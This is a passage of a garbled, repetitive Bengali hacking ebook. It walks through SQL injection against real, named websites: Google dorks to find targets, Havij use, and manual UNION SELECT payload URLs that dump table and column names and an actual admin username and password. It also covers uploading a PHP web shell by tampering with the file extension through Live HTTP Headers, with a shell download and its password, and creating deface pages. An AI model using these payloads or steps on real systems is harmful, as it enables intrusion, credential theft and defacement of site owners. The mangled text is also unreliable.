3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 51: Hacking Bangla eBook

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 52: Hacking Bangla eBook

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

